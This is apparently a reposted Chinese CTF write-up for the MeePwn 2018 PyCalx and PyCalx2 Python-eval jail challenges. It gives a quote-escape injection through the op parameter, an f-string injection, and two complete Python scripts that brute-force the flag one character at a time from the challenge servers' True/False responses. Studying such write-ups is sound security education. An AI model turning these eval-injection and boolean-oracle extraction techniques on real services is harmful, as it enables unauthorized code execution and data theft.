首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

PyCalx&PyCalx2-MeePwn-2018

点图有小惊喜哦~

PyCalx1

题目信息

This code is supposed to be unexploitable :/ another pyjail?

Notice: The flag may contain non alphabetic characters (but still printable)

Please login to submit flag

进去之后是这个样子的

点击Source我们可以查看这个程序的源码

代码调试

仔细阅读了一下代码,这是一个有限制的Python表达式运算的东西。

涉及的变量包括source,op,value1,value2,FLAG四个。

- source,若值为1则显示源代码。

- value1,运算的第一个变量。

- value2,运算的第二个变量。

- op,运算符。

- FLAG,读取FLAG,存在变量里面。

这里还通过两个函数分别对运算变量和运算符进行了限制。

def get_value(val):

val = str(val)[:64]

if str(val).isdigit(): return int(val)

blacklist = ['(', ')', '[', ']', '\'', '"'] # I don't like tuple, list and dict.

if val == '' or [c for c in blacklist if c in val] != []:

print('

Invalid value

')

sys.exit(0)

return val

get_value()这个函数首先是限制变量的有效长度为64,然后还通过黑名单(,),[,],\,"限制变量字符。

def get_op(val):

val = str(val)[:2]

list_ops = ['+', '-', '/', '*', '=', '!']

if val == '' or val[0] not in list_ops:

print('

Invalid op

')

sys.exit(0)

return val

get_op()这个函数首先是限制运算符的有效长度为2,然后通过黑名单+,-,/,*,=,!限制了运算符的第一个字节,第二个字节没做限制。

通过上面的函数对变量过滤后,这里就是对输入的内容转化为字符串拼接成为calc_eval表达式

calc_eval = str(repr(value1)) + str(op) + str(repr(value2))

......

......

try:

result = str(eval(calc_eval))

if result.isdigit() or result == 'True' or result == 'False':

print(result)

else:

print("Invalid") # Sorry we don't support output as a string due to security issue.

except:

print("Invalid")

最后通过eval()执行calc_eval表达式,返回结果转化为字符串

如果字符串满足数字,True,Flase这三种形式,就在页面输出,否则输出Invalid错误提示

Bool回显型注入

为了便于分析,把代码精简成本地调试,主要是调试eval()中的语句。

# coding=utf-8

import sys

if __name__ == "__main__":

FLAG = open('index.php', 'r').read()

def get_value(val):

val = str(val)[:64]

if str(val).isdigit(): return int(val)

blacklist = ['(', ')', '[', ']', '\'', '"'] # I don't like tuple, list and dict.

if val == '' or [c for c in blacklist if c in val] != []:

print('

Invalid value

')

sys.exit(0)

return val

def get_op(val):

val = str(val)[:2]

list_ops = ['+', '-', '/', '*', '=', '!']

if val == '' or val[0] not in list_ops:

print('

Invalid op

')

sys.exit(0)

return val

op = "+"

value1 = "123"

value2 = " 123"

source = 'error_reporting'

op = get_op(op)

value1 = get_value(value1)

value2 = get_value(value2)

calc_eval = str(repr(value1)) + str(op) + str(repr(value2))

print calc_eval

result = str(eval(calc_eval))

print result

**目标清晰:**Flag已经存在了变量FLAG里面,绕过过滤,注入表达式到eval()里面,执行代码,获取Flag。

calc_eval = str(repr(value1)) + str(op) + str(repr(value2))

repr()这个函数很关键

repr() 函数将对象转化为供解释器读取的形式,当传入不是数字是字符串的时候,会引入引号',效果如下

因为get_value过滤的存在,这里无法直接通过value1,value2引入单引号进行单引号逃逸。

但是因为get_op仅仅过滤验证了第一位字符,因此我们可以在第二位引入单引号。 value1=a,value2=a,op=+'

' a ' + ' ' a '

这时候进入eval肯定会因为语法报错,这时候修改value2=#a,注释后面的单引号

' a ' + ' ' #a '

等价于

' a ' + ' '

那么同时也逃逸了单引号,在#号的前面我们已经可以注入其他运算符了

value1=a,value2=and 1#a,op=+'

a ' + ' ' and 1#a '

等价于,先加法后与运算

' a ' + ' ' and 1

逃逸出了单引号,但是仍然无法直接打印出Flag,因为页面返回必须满足数字,True,Flase这三种形式才有回显,这里可以确定是通过Bool返回值对Flag进行猜解。

首先想到的是这种形式 value2=and ord(Flag[1]) ==100 #

' a ' + ' ' and ord(Flag[1]) ==100 #'

但过滤的函数get_value导致无法调用有用的ord()函数,同样无法使用[index],和类似的。

这时候就要用到前面的source变量了

if 'source' in arguments:

source = arguments['source'].value

else:

source = 0

if source == '1':

print('

' + escape(str(open(__file__, 'r').read())) + '')

source赋值使用后仍然存在,是我们的可控点,且无过滤函数,我们可以通过它配合in进行猜解Flag,猜解成功页面返回True,错误则返回Flase

value1=a,value2=and True and source in FLAG#,op=+',source=xxx

'a' + ' ' and True and source in FLAG#'

EXP

这里我们直接编写脚本,通过GET参数source修改暴力猜解FLAG

# coding=utf-8

import string

import requests

import sys

from urllib import quote

if __name__ == '__main__':

reg_str = string.punctuation + string.ascii_lowercase + string.ascii_uppercase + string.digits

Flag = "MeePwnCTF{"

url = "http://178.128.96.203/cgi-bin/server.py?value1=t&op=%2B%27&value2=+and+True+and+source+in+FLAG%23&source=" + quote(

Flag)

for i in range(100):

for x in reg_str:

url_t = url + quote(x)

print url_t

html = requests.get(url_t).content

if '''True

>>>''' in html:

url = url_t

Flag = Flag + x

print Flag

break

最后Flag为

MeePwnCTF

PyCalx2

题目信息

You should solve PyCalx first.

兄弟题目,和上一题的几乎没做改动,只是又增加了对op的过滤,引号'已经不能使用了

op = get_op(get_value(arguments['op'].value))

根据上一题的Flag,可以知道版本是python3.6,这里需要使用F-strings.

在python3.6.2版本中,PEP 498 提出一种新型字符串格式化机制,被称为“字符串插值”或者更常见的一种称呼是F-strings

F-strings提供了一种明确且方便的方式将python表达式嵌入到字符串中来进行格式化。

使用F-strings我们不用逃逸单引号,因为它支持表达式。

首先想到的三元表达式,但是Python中并没有,emm........,使用同功能的if else

value1 = True,value2 = ,op = +f

执行的代码为:

'True'+f''

如果匹配成功返回True,匹配失败返回True233

EXP

直接修改前一个题的脚本

# coding=utf-8

import string

import requests

import sys

from urllib import quote

if __name__ == '__main__':

reg_str = string.punctuation + string.ascii_lowercase + string.ascii_uppercase + string.digits

Flag = "MeePwnCTF{"

url = "http://206.189.223.3/cgi-bin/server.py?value1=True&op=%2Bf&value2=%7Bsource*0+if+source+in+FLAG+else+233%7D&source=" + quote(

Flag)

for i in range(100):

for x in reg_str:

url_t = url + quote(x)

print url_t

html = requests.get(url_t).content

if '''True

>>>''' in html:

url = url_t

Flag = Flag + x

print Flag

break

Flag:MeePwnCTF

  • 发表于:
  • 原文链接https://kuaibao.qq.com/s/20180723G17QQX00?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券